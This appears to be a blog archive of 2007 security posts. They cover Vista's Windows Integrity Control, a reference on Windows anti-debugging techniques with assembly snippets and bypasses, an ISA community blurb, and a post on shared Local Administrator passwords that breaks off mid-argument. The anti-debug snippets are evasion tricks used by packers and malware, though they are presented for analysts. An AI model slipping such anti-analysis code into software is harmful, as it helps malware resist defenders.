Introduction to Windows Integrity Control

2007-10-15T22:53:00.000-07:00

This article takes a look at the Windows Integrity Control (WIC) capabilities in Windows Vista by examining how it protects objects such as files and folders on Vista computers, the different levels of protection offered, and how administrators can control WIC using the ICACLS command-line tool. WIC is intended to protect a system from malware and user error by helping to establish different levels of trust on objects.
System integrity - Who can you trust?

When the developers at Microsoft set out to create the latest version of their operating system, Windows Vista, they set out to ensure it was the most secure version of Windows yet. One of the functions that has been built in to Windows Vista which helps to make it more secure is Windows Integrity Control, or WIC.

The purpose of WIC is to protect objects, whether they are files, printers, named pipes, registry keys, and so on from attacks, malware or even innocent user error. The concept of WIC is based on establishing the trustworthiness of the various objects and controlling the interactions between objects based on their integrity, or level of trustworthiness.

The integrity levels of WIC are a mandatory control and override discretionary controls such as NTFS file and folder permissions which most administrators are familiar with. The primary objective of WIC is to ensure that only objects with an integrity level equal to or greater than the target object are allowed to interact with it. Essentially, if an object is less trustworthy, it is prohibited from acting on, or interacting with more trustworthy objects.

Again, WIC trumps normal permissions. That means that even if a file or process has Full Control permissions to another object, if the file or process has a lower integrity level than the object it is trying to interact with WIC will override the permissions and the interaction will be denied.
Determining trustworthiness using WIC

In order to police the interactions between objects, Windows must first determine the trustworthiness, or integrity level of each object. WIC assigns one of the following six integrity levels to each object:

* Untrusted – processes that are logged on anonymously are automatically designated as Untrusted
* Low – The Low integrity level is the level used by default for interaction with the Internet. As long as Internet Explorer is run in its default state, Protected Mode, all files and processes associated with it are assigned the Low integrity level. Some folders, such as the Temporary Internet Folder, are also assigned the Low integrity level by default.
* Medium – Medium is the context that most objects will run in. Standard users receive the Medium integrity level, and any object not explicitly designated with a lower or higher integrity level is Medium by default.
* High – Administrators are granted the High integrity level. This ensures that Administrators are capable of interacting with and modifying objects assigned Medium or Low integrity levels, but can also act on other objects with a High integrity level, which standard users can not do.
* System – As the name implies, the System integrity level is reserved for the system. The Windows kernel and core services are granted the System integrity level. Being even higher than the High integrity level of Administrators protects these core functions from being affected or compromised even by Administrators.
* Installer – The Installer integrity level is a special case and is the highest of all integrity levels. By virtue of being equal to or higher than all other WIC integrity levels, objects assigned the Installer integrity level are also able to uninstall all other objects.

In terms of the impact on Windows Vista security, these integrity levels and WIC protect objects from intentional or unintentional modification or deletion by less trusted objects. By setting the Medium integrity level as the default mode for standard users and for all unlabeled objects, Vista protects the majority of objects on the computer from being affected in any way by threats from the Internet, which run at the Low integrity level by default.

Similarly, although Administrators are more powerful than standard users and operate at the High integrity level, the operating system kernel and core functionality receive a higher System integrity level, ensuring that even an absent-minded Administrator or compromised Administrator account can not adversely impact the core system.

To reiterate, the WIC integrity levels and controls are very similar to normal NTFS file and folder permissions. The primary difference is that NTFS permissions are discretionary controls while WIC integrity levels are mandatory controls. Basically, file and folder access privileges and permissions are assigned by the object owner or an administrator, while WIC integrity levels are dictated by the operating system.

While the upper four levels receive little practical use, the differentiation between Low integrity and Medium integrity is where the majority of WIC’s functionality lies. Implementing mandatory controls rather than relying only on the discretion of users or administrators certainly provides more security at all levels. But, the ability to segregate files and processes from the Internet and protect the computer from Internet-borne malware is one of the primary reasons for the existence of WIC.
Protecting Vista from Internet threats

While standard users operate at a Medium integrity level and Administrators are designated as High integrity, WIC assumes that the Internet, and any associated files or processes, are completely untrustworthy and assigns them a Low integrity level by default.

When a user receives an email with a link to a malicious web site (the sort of email they have been told a thousand times to delete), and he clicks on it, the malicious web site may attempt to install some sort of nasty malware. The malware will typically copy itself to some location on the hard drive and modify Registry keys to ensure its continued existence. It may also try to modify or delete other files or execute processes to initiate other malicious activity.

Windows Anti-Debug Reference

2007-10-15T22:50:00.001-07:00

This paper classifies and presents several anti-debugging techniques used on Windows NT-based operating systems. Anti-debugging techniques are ways for a program to detect if it runs under control of a debugger. They are used by commercial executable protectors, packers and malicious software, to prevent or slow-down the process of reverse-engineering. We'll suppose the program is analyzed under a ring3 debugger, such as OllyDbg on Windows platforms. The paper is aimed towards reverse-engineers and malware analysts. Note that we will talk purely about generic anti-debugging and anti-tracing techniques. Specific debugger detection, such as window or processes enumeration, registry scanning, etc. will not be addressed here.
[1] Intro

This paper classifies and presents several anti-debugging techniques used on Windows NT-based operating systems.
Anti-debugging techniques are ways for a program to detect if it runs under control of a debugger. They are used by commercial executable protectors, packers and malicious software, to prevent or slow-down the process of reverse-engineering.

We'll suppose the program is analyzed under a ring3 debugger, such as OllyDbg on Windows platforms. The paper is aimed towards reverse-engineers and malware analysts.
Note that we will talk purely about generic anti-debugging and anti-tracing techniques. Specific debugger detection, such as window or processes enumeration, registry scanning, etc. will not be addressed here.

[2] Anti-debugging and anti-tracing techniques

- Exploiting memory discrepancies

(1) kernel32!IsDebuggerPresent
IsDebuggerPresent returns 1 if the process is being debugged, 0 otherwise. This API simply reads the PEB!BeingDebugged byte-flag (located at offset 2 in the PEB structure).
Circumventing it is as easy as setting PEB!BeingDebugged to 0.
Example:
call IsDebuggerPresent
test eax, eax
jne @DebuggerDetected
...

(2) PEB!IsDebugged

This field refers to the second byte in the Process Environment Block of the process. It is set by the system when the process is debugged.
This byte can be reset to 0 without consequences for the course of execution of the program (it is an informative flag).

Example:
mov eax, fs:[30h]
mov eax, byte [eax+2]
test eax, eax
jne @DebuggerDetected
...

(3) PEB!NtGlobalFlags

When a process is created, the system sets some flags that will define how various APIs will behave for this program. Those flags can be read in the PEB, in the DWORD located at offset 0x68 (see the reference).
By default, different flags are set depending if the process is created under a debugger or not. If the process is debugged, some flags controlling the heap manipulation routines in ntdll will be set: FLG_HEAP_ENABLE_TAIL_CHECK, FLG_HEAP_ENABLE_FREE_CHECK and FLG_HEAP_VALIDATE_PARAMETERS.
This anti-debug can be bypassed by resetting the NtGlobalFlags field.

Example:
mov eax, fs:[30h]
mov eax, [eax+68h]
and eax, 0x70
test eax, eax
jne @DebuggerDetected
...

(4) Heap flags

As explained previously, NtGlobalFlags informs how the heap routines will behave (among other things). Though it is easy to modify the PEB field, if the heap does not behave the same way as it should when the process is not debugged, this could be problematic. It is a powerful anti-debug, as process heaps are numerous, and their chunks can be individually affected by the FLG_HEAP_* flags (such as chunk tails). Heap headers would be affected as well. For instance, checking the field ForceFlags in a heap header (offset 0x10) can be used to detect the presence of a debugger.

There are two easy ways to circumvent it:

- Create a non-debugged process, and attach the debugger once the process has been created (an easy solution is to create the process suspended, run until the entry-point is reached, patch it to an infinite loop, resume the process, attach the debugger, and restore the original entry-point).

- Force the NtGlobalFlags for the process that we want to debug, via the registry key "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options": Create a subkey (not value) named as your process name, and under this subkey, a String value "GlobalFlags" set to nothing.

Example:
mov eax, fs:[30h]
mov eax, [eax+18h] ;process heap
mov eax, [eax+10h] ;heap flags
test eax, eax
jne @DebuggerDetected
...

(5) Vista anti-debug (no name)

Here's an anti-debug specific to Windows Vista that I found by comparing memory dumps of a program running with and without control of a debugger. I'm not sure of its realiability, but it's worth mentionning (tested on Windows Vista 32 bits, SP0, English version).

When a process is debugged, its main thread TEB, at offset 0xBFC, contains a pointer to a unicode string referencing a system dll. Moreover, the string follows this pointer (therefore, located at offset 0xC00 in the TEB). If the process is not debugged, the pointer is set to NULL and the string is not present.

Example:
call GetVersion
cmp al, 6
jne @NotVista
push offset _seh
push dword fs:[0]
mov fs:[0], esp
mov eax, fs:[18h] ; teb
add eax, 0BFCh
mov ebx, [eax] ; pointer to a unicode string
test ebx, ebx ; (ntdll.dll, gdi32.dll,...)
je @DebuggerNotFound
sub ebx, eax ; the unicode string follows the
sub ebx, 4 ; pointer
jne @DebuggerNotFound
;debugger detected if it reaches this point
;...

- Exploiting system discrepancies

(1) NtQueryInformationProcess
ntdll!NtQueryInformationProcess is a wrapper around the ZwQueryInformationProcess syscall. Its prototype is the following:

NTSYSAPI NTSTATUS NTAPI NtQueryInformationProcess(
IN HANDLE ProcessHandle,
IN PROCESS_INFORMATION_CLASS ProcessInformationClass,
OUT PVOID ProcessInformation,
IN ULONG ProcessInformationLength,
OUT PULONG ReturnLength
);

When called with ProcessInformationClass set to 7 (ProcessDebugPort constant), the system will set ProcessInformation to -1 if the process is debugged.
It is a powerful anti-debug, and there is no easy way to circumvent it. However, if the program is traced, ProcessInformation can be modified when the syscall returns.

Another solution is to use a system driver that would hook the ZwNtQueryInformationProcess syscall.
Circumventing NtQueryInformationProcess will bypass many anti-debug techniques (such as CheckRemoteDebuggerPresent or UnhandledExceptionFilter).

Example:
push 0
push 4
push offset isdebugged
push 7 ;ProcessDebugPort
push -1
call NtQueryInformationProcess
test eax, eax
jne @ExitError
cmp isdebugged, 0
jne @DebuggerDetected
...

(2) kernel32!CheckRemoteDebuggerPresent

This API takes two parameters: a process handle, and a pointer to a DWORD. If the call is successful, the DWORD value will be set to 1 if the process is being debugged.
Internally, this API calls ntdll!NtQueryInformationProcess with ProcessInformationClass set to ProcessDebugPort (7).

Example:
push offset isdebugged
push -1
call CheckRemoteDebuggerPresent
test eax, eax
jne @DebuggerDetected
...

(3) UnhandledExceptionFilter

When an exception occurs, with Windows XP SP>=2, Windows 2003, and Windows Vista, the usual way the OS processes the exception is:

- If any, pass control to the per-process Vectored Exception Handlers.
- If the exception is not processed, pass the control to the per-thread top SEH handler, pointed by FS:[0] in the thread that generated the exception. SEH are chained and called in turn if the exception is not processed by the previous in the chain.
- If the exception has not been processed by any of the previous handlers, the final SEH handler (set by the system), will call kernel32!UnhandledExceptionFilter. This function will decide what it should do depending if the process is debugged or not.
- If it is not debugged, it will call the user-defined filter function (set via kernel32!SetUnhandledExceptionFilter).
- If it debugged, the program will be terminated.

The debugger detection in UnhandledExceptionFilter is made with ntdll!NtQueryInformationProcess.

Example:
push @not_debugged
call SetUnhandledExceptionFilter
xor eax, eax
mov eax, dword [eax] ; trigger exception
;program terminated if debugged
;...
@not_debugged:
;process the exception
;continue the execution
;...

(4) NtSetInformationThread
ntdll!NtSetInformationThread is a wrapper around the ZwSetInformationThread syscall. Its prototype is the following:
NTSYSAPI NTSTATUS NTAPI NtSetInformationThread(
IN HANDLE ThreadHandle,
IN THREAD_INFORMATION_CLASS ThreadInformationClass,
IN PVOID ThreadInformation,
IN ULONG ThreadInformationLength
);

When called with ThreadInformationClass set to 0x11 (ThreadHideFromDebugger constant), the thread will be detached from the debugger.

Similarly to ZwQueryInformationProcess, circumventing this anti-debug requires either modifying ZwSetInformationThread parameters before it's called, or hooking the syscall directly with the use of a kernel driver.

Example:
push 0
push 0
push 11h ;ThreadHideFromDebugger
push -2
call NtSetInformationThread
;thread detached if debugged
;...

(5) kernel32!CloseHandle and NtClose

APIs making user of the ZwClose syscall (such as CloseHandle, indirectly) can be used to detect a debugger. When a process is debugged, calling ZwClose with an invalid handle will generate a STATUS_INVALID_HANDLE (0xC0000008) exception.

As with all anti-debugs that rely on information made directly available from the kernel (therefore involving a syscall), the only proper way to bypass the "CloseHandle" anti-debug is to either modify the syscall data from ring3, before it is called, or set up a kernel hook.

This anti-debug, though extremely powerful, does not seem to be widely used by malicious programs.

Example:
push offset @not_debugged
push dword fs:[0]
mov fs:[0], esp
push 1234h ;invalid handle
call CloseHandle
; if fall here, process is debugged
;...
@not_debugged:
;...

(6) Self-debugging

A process can detect it is being debugged by trying to debug itself, for instance by creating a new process, and calling kernel32!DebugActiveProcess(pid) on the parent process.

In turn, this API calls ntdll!DbgUiDebugActiveProcess which will call the syscall ZwDebugActiveProcess. If the process is already debugged, the syscall fails. Note that retrieving the parent process PID can be done with the toolhelp32 APIs (field th32ParentProcessID in the PROCESSENTRY32 structure.

(7) Kernel-mode timers

kernel32!QueryPerformanceCounter is an efficent anti-debug. This API calls ntdll!NtQueryPerformanceCounter which wraps the ZwQueryPerformanceCounter syscall.

Again, there is no easy way to circumvent this anti-tracing trick.

(8) User-mode timers

An API such as kernel32!GetTickCount returns the number of milliseconds ellapsed since the system started. The interesting thing is that it does not make use of kernel-related service to perform its duties. A user-mode process has this counter mapped in its address space. For 8Gb user-mode spaces, the value returned would be:

d[0x7FFE0000] * d[0x7FFE0004] / (2^24)

(9) kernel32!OutputDebugStringA

This anti-debug is quite original, I have encountered it only once, in files packed with ReCrypt v0.80. The trick consists of calling OutputDebugStringA, with a valid ASCII string. If the program is run under control of a debugger, the return value will be the address of the string passed as a parameter. In normal conditions, the return value should be 1.

Example:
xor eax, eax
push offset szHello
call OutputDebugStringA
cmp eax, 1
jne @DebuggerDetected
...

(10) Ctrl-C

When a console program is debugged, a Ctrl-C signal will throw a EXCEPTION_CTL_C exception, whereas the signal handler would be called directly is the program is not debugged.

Example:
push offset exhandler
push 1
call RtlAddVectoredExceptionHandler
push 1
push sighandler
call SetConsoleCtrlHandler
push 0
push CTRL_C_EVENT
call GenerateConsoleCtrlEvent
push 10000
call Sleep
push 0
call ExitProcess
exhandler:
;check if EXCEPTION_CTL_C, if it is,
;debugger detected, should exit process
;...
sighandler:
;continue
;...

- CPU anti-debug

(1) Rogue Int3

This is a classic anti-debug to fool weak debuggers. It consists of inserting an INT3 opcode in the middle of a valid sequence of instructions. When the INT3 is executed, if the program is not debugged, control will be given to the exception handler of the protection and execution will continue.

As INT3 instructions are used by debuggers to set software breakpoints, inserting INT3 opcodes can be used to trick the debugger into believing that it is one his breakpoints. Therefore, the control would not be given to the exception handler, and the course of the program would be modified. Debuggers should track where they set software breakpoints to avoid falling for this one.

Similarly, note that INT3 may be encoded as 0xCD, 0x03.

Example:
push offset @handler
push dword fs:[0]
mov fs:[0], esp
;...
db 0CCh
;if fall here, debugged
;...
@handler:
;continue execution
;...

(2) "Ice" Breakpoint

The so-called "Ice breakpoint" is one of Intel's undocumented instruction, opcode 0xF1. It is used to detect tracing programs.

Executing this instruction will generate a SINGLE_STEP exception. Therefore, if the program is already traced, the debugger will think it is the normal exception generated by executing the instruction with the SingleStep bit set in the Flags registers. The associated exception handler won't be executed, and execution will not continue as expected.
Bypassing this trick is easy: one can run over the instruction, instead and single-stepping on it. The exception will be generated, but since the program is not traced, the debugger should understand that it has to pass control to the exception handler.

Example:
push offset @handler
push dword fs:[0]
mov fs:[0], esp
;...
db 0F1h
;if fall here, traced
;...
@handler:
;continue execution
;...

(3) Interrupt 2Dh

Executing this interrupt if the program is not debugged will raise a breakpoint exception. If the program is debugged, and the instruction is not executed with the trace flag, no exception will be generated, and execution will carry on normally. If the program is debugged and the instruction traced, the following byte will be skipped, and execution will continue. Therefore, using INT 2Dh can be used as a powerful anti-debug and anti-tracer mechanism.
Example:
push offset @handler
push dword fs:[0]
mov fs:[0], esp
;...
db 02Dh
mov eax, 1 ;anti-tracing
;...
@handler:
;continue execution
;...

(4) Timestamp counters
High precision counters, storing the current number of CPU cycles executed since the machine started, can be queried with the RDTSC instruction. Classic anti-debugs consist of measuring time deltas at key points in the program, usually around exception handlers. If the delta is too large, that would mean the program runs under control of a debugger (processing the exception in the debugger, and giving control back to the debuggee is a lengthy task).

Example:
push offset handler
push dword ptr fs:[0]
mov fs:[0],esp
rdtsc
push eax
xor eax, eax
div eax ;trigger exception
rdtsc
sub eax, [esp] ;ticks delta
add esp, 4
pop fs:[0]
add esp, 4
cmp eax, 10000h ;threshold
jb @not_debugged
@debugged:
...
@not_debugged:
...
handler:
mov ecx, [esp+0Ch]
add dword ptr [ecx+0B8h], 2 ;skip div
xor eax, eax
ret

(5) Popf and the trap flag

The trap flag, located in the Flags register, controls the tracing of a program. If this flag is set, executing an instruction will also raise a SINGLE_STEP exception. The trap flag can be manipulated in order to thwart tracers. For instance, this sequence of instructions will set the trap flag:

pushf
mov dword [esp], 0x100
popf

If the program is being traced, this will have no real effect on the flags register, and the debugger will process the exception, believing it comes from regular tracing. The exception handler won't be executed. Circumventing this anti-tracer trick simply require to run over the pushf instruction.

(6) Stack Segment register

Here's a very original anti-tracer. I encountered it in a packer called MarCrypt. I believe it is not widely known, not to mention, used.
It consists of tracing over this sequence of instructions:

push ss
pop ss
pushf
nop

When tracing over pop ss, the next instruction will be executed but the debugger will not break on it, therefore stopping on the following instruction (NOP in this case).
Marcrypt uses this anti-debug the following way:

push ss
; junk
pop ss
pushf
; junk
pop eax
and eax, 0x100
or eax, eax
jnz @debugged
; carry on normal execution

The trick here is that, if the debugger is tracing over that sequence of instructions, popf will be excuted implicitly, and the debugger will not be able to unset the trapflag in the pushed value on the stack. The protection checks for the trap flag and terminates the program if it's found.
One simple way to circumvent this anti-tracing is to breakpoint on popf and run the program (to avoid using the TF flag).

(7) Debug registers manipulation

Debug registers (DR0 through DR7) are used to set hardware breakpoints. A protection can manipulate them to either detect that hardware breakpoints have been set (and therefore, that it is being debugged), reset them or set them to particular values used to perform code checks later. A packer such as tElock makes use of the debug registers to prevent reverse-engineers from using them.
From a user-mode perspective, debug registers cannot be set using the privileged 'mov drx, ...' instruction. Other ways exist:

- An exception can be generated, the thread context modified (it contains the CPU registers at the time the exception was thrown), and then resumed to normal execution with the new context.

- The other way is to use the NtGetContextThread and NtSetContextThread syscalls (available in kernel32 with GetThreadContext and SetThreadContext).

Most protectors use the first, "unofficial" way.

Example:
push offset handler
push dword ptr fs:[0]
mov fs:[0],esp
xor eax, eax
div eax ;generate exception
pop fs:[0]
add esp, 4
;continue execution
;...
handler:
mov ecx, [esp+0Ch] ;skip div
add dword ptr [ecx+0B8h], 2 ;skip div
mov dword ptr [ecx+04h], 0 ;clean dr0
mov dword ptr [ecx+08h], 0 ;clean dr1
mov dword ptr [ecx+0Ch], 0 ;clean dr2
mov dword ptr [ecx+10h], 0 ;clean dr3
mov dword ptr [ecx+14h], 0 ;clean dr6
mov dword ptr [ecx+18h], 0 ;clean dr7
xor eax, eax
ret

(8) Context modification

As with debug registers manipulation, the context can also be used to modify in an unconventionnal way the execution stream of a program. Debuggers can get easily confused!
Note that another syscall, NtContinue, can be used to load a new context in the current thread (for instance, this syscall is used by the exception handler manager).

- Uncategorized anti-debug

(1) TLS-callback

This anti-debug was not so well-known a few years ago. It consists to instruct the PE loader that the first entry point of the program is referenced in a Thread Local Storage entry (10th directory entry number in the PE optional header). By doing so, the program entry-point won't be executed first. The TLS entry can then perform anti-debug checks in a stealthy way.
Note that in practice, this technique is not widely used.
Though older debuggers (including OllyDbg) are not TLS-aware, counter-measures are quite easy to take, by the means of plugins of custom patcher tools.

(2) CC scanning

A common protection feature used by packers is the CC-scanning loop, aimed at detecting software breakpoints set by a debugger. If you want to avoid that kind of troubles, you may want to use either hardware breakpoints or a custom type of software breakpoint. CLI (0xFA) is a good candidate to replace the classic INT3 opcode. This instruction does have the requirements for the job: it raises a privileged instruction exception if executed by a ring3 program, and occupies only 1 byte of space.

(3) EntryPoint RVA set to 0

Some packed files have their entry point RVA set to 0, which means they will start executing 'MZ...' which corresponds to 'dec ebx / pop edx ...'.

This is not an anti-debug trick in itself, but can be annoying if you want to break on the entry-point by using a software breakpoint.

If you create a suspended process, then set an INT3 at RVA 0, you will erase part of the magic MZ value ('M'). The magic was checked when the process was created, but it will get checked again by ntdll when the process is resumed (in the hope of reaching the entry-point). In that case, an INVALID_IMAGE_FORMAT exception will be raised.

If you create your own tracing or debugging tool, you will want to use hardware breakpoint to avoid this problem.

[3] Conclusion

Knowing anti-debugging and anti-tracing techniques (un)commonly used by malware or protectors is useful knowledge for a reverse-engineer. A program will always have ways to find it is run in a debugger - the same applies for virtual or emulated environments, but since ring3 debuggers are some of the most common analysis tools used, knowing common tricks, and how to bypass them, will always prove useful.

[4] Links

MSDN
Portable Executable Tutorial, Matt Pietrek
Syscall Reference, The Metasploit Project
Undocumented Functions for MS Windows NT/2K
Intel Manuals
- Common exception codes - Microsoft Windows SDK, ntdll.h
- Status codes list (including common exception codes) - Microsoft Windows DDK, ntstatus.h
- Context Structures documentation - Microsoft Windows SDK, ntdll.h

[5] Data reference

- CONTEXT structure for IA32 processors
struct CONTEXT_IA32
{
// ContextFlags must be set to the appropriate CONTEXT_* flag
// before calling (Set|Get)ThreadContext
DWORD ContextFlags;

// CONTEXT_DEBUG_REGISTERS (not included in CONTEXT_FULL)
DWORD Dr0; // 04h
DWORD Dr1; // 08h
DWORD Dr2; // 0Ch
DWORD Dr3; // 10h
DWORD Dr6; // 14h
DWORD Dr7; // 18h

// CONTEXT_FLOATING_POINT
FLOATING_SAVE_AREA FloatSave;

// CONTEXT_SEGMENTS
DWORD SegGs; // 88h
DWORD SegFs; // 90h
DWORD SegEs; // 94h
DWORD SegDs; // 98h

// CONTEXT_INTEGER
DWORD Edi; // 9Ch
DWORD Esi; // A0h
DWORD Ebx; // A4h
DWORD Edx; // A8h
DWORD Ecx; // ACh
DWORD Eax; // B0h

// CONTEXT_CONTROL
DWORD Ebp; // B4h
DWORD Eip; // B8h
DWORD SegCs; // BCh (must be sanitized)
DWORD EFlags; // C0h
DWORD Esp; // C4h
DWORD SegSs; // C8h

// CONTEXT_EXTENDED_REGISTERS (processor-specific)
BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];
};

- Process Environment Block structure (from The Wine Project)
struct PEB
{
BOOLEAN InheritedAddressSpace; // 00
BOOLEAN ReadImageFileExecOptions; // 01
BOOLEAN BeingDebugged; // 02
BOOLEAN SpareBool; // 03
HANDLE Mutant; // 04
HMODULE ImageBaseAddress; // 08
PPEB_LDR_DATA LdrData; // 0c
RTL_UPROCESS_PARAMETERS *ProcessParameters; // 10
PVOID SubSystemData; // 14
HANDLE ProcessHeap; // 18
PRTL_CRITICAL_SECTION FastPebLock; // 1c
PVOID /*PPEBLOCKROUTI*/ FastPebLockRoutine; // 20
PVOID /*PPEBLOCKROUTI*/ FastPebUnlockRoutine; // 24
ULONG EnvironmentUpdateCount; // 28
PVOID KernelCallbackTable; // 2c
PVOID EventLogSection; // 30
PVOID EventLog; // 34
PVOID /*PPEB_FREE_BLO*/ FreeList; // 38
ULONG TlsExpansionCounter; // 3c
PRTL_BITMAP TlsBitmap; // 40
ULONG TlsBitmapBits[2]; // 44
PVOID ReadOnlySharedMemoryBase; // 4c
PVOID ReadOnlySharedMemoryHeap; // 50
PVOID *ReadOnlyStaticServerData; // 54
PVOID AnsiCodePageData; // 58
PVOID OemCodePageData; // 5c
PVOID UnicodeCaseTableData; // 60
ULONG NumberOfProcessors; // 64
ULONG NtGlobalFlag; // 68
BYTE Spare2[4]; // 6c
LARGE_INTEGER CriticalSectionTimeout; // 70
ULONG HeapSegmentReserve; // 78
ULONG HeapSegmentCommit; // 7c
ULONG HeapDeCommitTotalFreeTh; // 80
ULONG HeapDeCommitFreeBlockTh; // 84
ULONG NumberOfHeaps; // 88
ULONG MaximumNumberOfHeaps; // 8c
PVOID *ProcessHeaps; // 90
PVOID GdiSharedHandleTable; // 94
PVOID ProcessStarterHelper; // 98
PVOID GdiDCAttributeList; // 9c
PVOID LoaderLock; // a0
ULONG OSMajorVersion; // a4
ULONG OSMinorVersion; // a8
ULONG OSBuildNumber; // ac
ULONG OSPlatformId; // b0
ULONG ImageSubSystem; // b4
ULONG ImageSubSystemMajorVersion; // b8
ULONG ImageSubSystemMinorVersion; // bc
ULONG ImageProcessAffinityMask; // c0
ULONG GdiHandleBuffer[34]; // c4
ULONG PostProcessInitRoutine; // 14c
PRTL_BITMAP TlsExpansionBitmap; // 150
ULONG TlsExpansionBitmapBits[32]; // 154
ULONG SessionId; // 1d4
};

- Thread Environment Block structure (from The Wine Project)
struct TEB
{
NT_TIB Tib; // 000 Info block
PVOID EnvironmentPointer; // 01c
CLIENT_ID ClientId; // 020 PID,TID
PVOID ActiveRpcHandle; // 028
PVOID ThreadLocalStoragePointer; // 02c
PEB *Peb; // 030
DWORD LastErrorValue; // 034
ULONG CountOfOwnedCriticalSections; // 038
PVOID CsrClientThread; // 03c
PVOID Win32ThreadInfo; // 040
ULONG Win32ClientInfo[0x1f]; // 044
PVOID WOW32Reserved; // 0c0
ULONG CurrentLocale; // 0c4
ULONG FpSoftwareStatusRegister; // 0c8
PVOID SystemReserved1[54]; // 0cc
PVOID Spare1; // 1a4
LONG ExceptionCode; // 1a8
BYTE SpareBytes1[40]; // 1ac
PVOID SystemReserved2[10]; // 1d4
DWORD num_async_io; // 1fc
ULONG_PTR dpmi_vif; // 200
DWORD vm86_pending; // 204
DWORD pad6[309]; // 208
ULONG gdiRgn; // 6dc
ULONG gdiPen; // 6e0
ULONG gdiBrush; // 6e4
CLIENT_ID RealClientId; // 6e8
HANDLE GdiCachedProcessHandle; // 6f0
ULONG GdiClientPID; // 6f4
ULONG GdiClientTID; // 6f8
PVOID GdiThreadLocaleInfo; // 6fc
PVOID UserReserved[5]; // 700
PVOID glDispachTable[280]; // 714
ULONG glReserved1[26]; // b74
PVOID glReserved2; // bdc
PVOID glSectionInfo; // be0
PVOID glSection; // be4
PVOID glTable; // be8
PVOID glCurrentRC; // bec
PVOID glContext; // bf0
ULONG LastStatusValue; // bf4
UNICODE_STRING StaticUnicodeString; // bf8
WCHAR StaticUnicodeBuffer[261]; // c00
PVOID DeallocationStack; // e0c
PVOID TlsSlots[64]; // e10
LIST_ENTRY TlsLinks; // f10
PVOID Vdm; // f18
PVOID ReservedForNtRpc; // f1c
PVOID DbgSsReserved[2]; // f20
ULONG HardErrorDisabled; // f28
PVOID Instrumentation[16]; // f2c
PVOID WinSockData; // f6c
ULONG GdiBatchCount; // f70
ULONG Spare2; // f74
ULONG Spare3; // f78
ULONG Spare4; // f7c
PVOID ReservedForOle; // f80
ULONG WaitingOnLoaderLock; // f84
PVOID Reserved5[3]; // f88
PVOID *TlsExpansionSlots; // f94
};

- NtGlobalFlags
FLG_STOP_ON_EXCEPTION 0x00000001
FLG_SHOW_LDR_SNAPS 0x00000002
FLG_DEBUG_INITIAL_COMMAND 0x00000004
FLG_STOP_ON_HUNG_GUI 0x00000008
FLG_HEAP_ENABLE_TAIL_CHECK 0x00000010
FLG_HEAP_ENABLE_FREE_CHECK 0x00000020
FLG_HEAP_VALIDATE_PARAMETERS 0x00000040
FLG_HEAP_VALIDATE_ALL 0x00000080
FLG_POOL_ENABLE_TAIL_CHECK 0x00000100
FLG_POOL_ENABLE_FREE_CHECK 0x00000200
FLG_POOL_ENABLE_TAGGING 0x00000400
FLG_HEAP_ENABLE_TAGGING 0x00000800
FLG_USER_STACK_TRACE_DB 0x00001000
FLG_KERNEL_STACK_TRACE_DB 0x00002000
FLG_MAINTAIN_OBJECT_TYPELIST 0x00004000
FLG_HEAP_ENABLE_TAG_BY_DLL 0x00008000
FLG_IGNORE_DEBUG_PRIV 0x00010000
FLG_ENABLE_CSRDEBUG 0x00020000
FLG_ENABLE_KDEBUG_SYMBOL_LOAD 0x00040000
FLG_DISABLE_PAGE_KERNEL_STACKS 0x00080000
FLG_HEAP_ENABLE_CALL_TRACING 0x00100000
FLG_HEAP_DISABLE_COALESCING 0x00200000
FLG_VALID_BITS 0x003FFFFF
FLG_ENABLE_CLOSE_EXCEPTION 0x00400000
FLG_ENABLE_EXCEPTION_LOGGING 0x00800000
FLG_ENABLE_HANDLE_TYPE_TAGGING 0x01000000
FLG_HEAP_PAGE_ALLOCS 0x02000000
FLG_DEBUG_WINLOGON 0x04000000
FLG_ENABLE_DBGPRINT_BUFFERING 0x08000000
FLG_EARLY_CRITICAL_SECTION_EVT 0x10000000
FLG_DISABLE_DLL_VERIFICATION 0x80000000

The ISA Community

2007-10-15T22:43:00.000-07:00

ISA helps automation professionals around the globe, with careers in engineering, R&D, technology, management, and sales. They work in a diverse array of industries, building, operating and maintaining the processes that do everything from monitor air quality to build airplanes.

Automation professionals are essential to every manufacturing process. All industrial endeavors are the result of a series of complex operations or systems. And the complex systems must be regulated using various measurement and control devices. And most often these systems and instruments employ programmable response and action devices - automation.

For automation professionals, technology is changing at a rapid pace, with more information out there than professionals have time to sort through alone. Through input from professionals throughout the world, ISA has the answer to nearly any technical question, saving the time it takes to search in multiple places for information.

By participating in the Society, automation professionals are smarter on industry issues, more valuable to their companies, and more effective at their jobs. Pure and simple, ISA is the one essential unbiased source to the world’s knowledge of automation.

The NT Local Administrator and Shared Passwords

2007-10-01T23:46:00.000-07:00

There is a Local Administrator account on every NT machine currently deployed. This account can be renamed, but not removed. It is extremely common to find many NT machines in an enterprise sharing the same password for this Local Administrator account. This article will establish that this shared password constitutes a security vulnerability, discuss various steps to mitigate the risk arising from the shared password, and make a case for applying unique passwords to every Local Administrator account in your enterprise.

The Security Issue of Shared Local Administrator Passwords

Workstations share the same Local Administrator password for a number of reasons. First and foremost, a shared password eases the daily burden of support personnel. No desktop support staff person wants to carry around a massive list of passwords or go through the cumbersome process of querying a centralized database of passwords. Secondly, automated build processes, which are very common, result in the deployment of a shared password. This is because disk imaging software ensures that each cloned machine has the same Local Administrator password as the original, and scripted installations reapply the same Local Administrator password each time the script is executed.

So how does a shared Local Administrator password constitute a security vulnerability? Very few of us have an enterprise in which the Local Administrator account cannot be cracked. This is usually by choice, we choose to give some users Administrator access so that the users can install his/her own software packages. We choose to leave bootable floppy drives in workstations and servers. Either of these choices may result in easy access to the Local Administrator account. Since this is a "shared" password, once the account name and password are obtained for one machine, this information can be used to access all the other NT machines that share the same password for the Local Administrator account. In short, successfully hacking a single machine results in access to multiple machines - and you don't have to be a CISSP to know that this is bad news!

Administrator access + common password = major security hole.

This is the vulnerability: access to one resource allows access to a second resource. Now, how does the access of the first machine lead to access of the second machine? Pay attention here, this material will get your manager's attention in a hurry! If your enterprise is normal and uses a common password for the Local Administrator account then any employee sitting at an NT workstation could own your CEO's access in less than a week. Let's imagine?

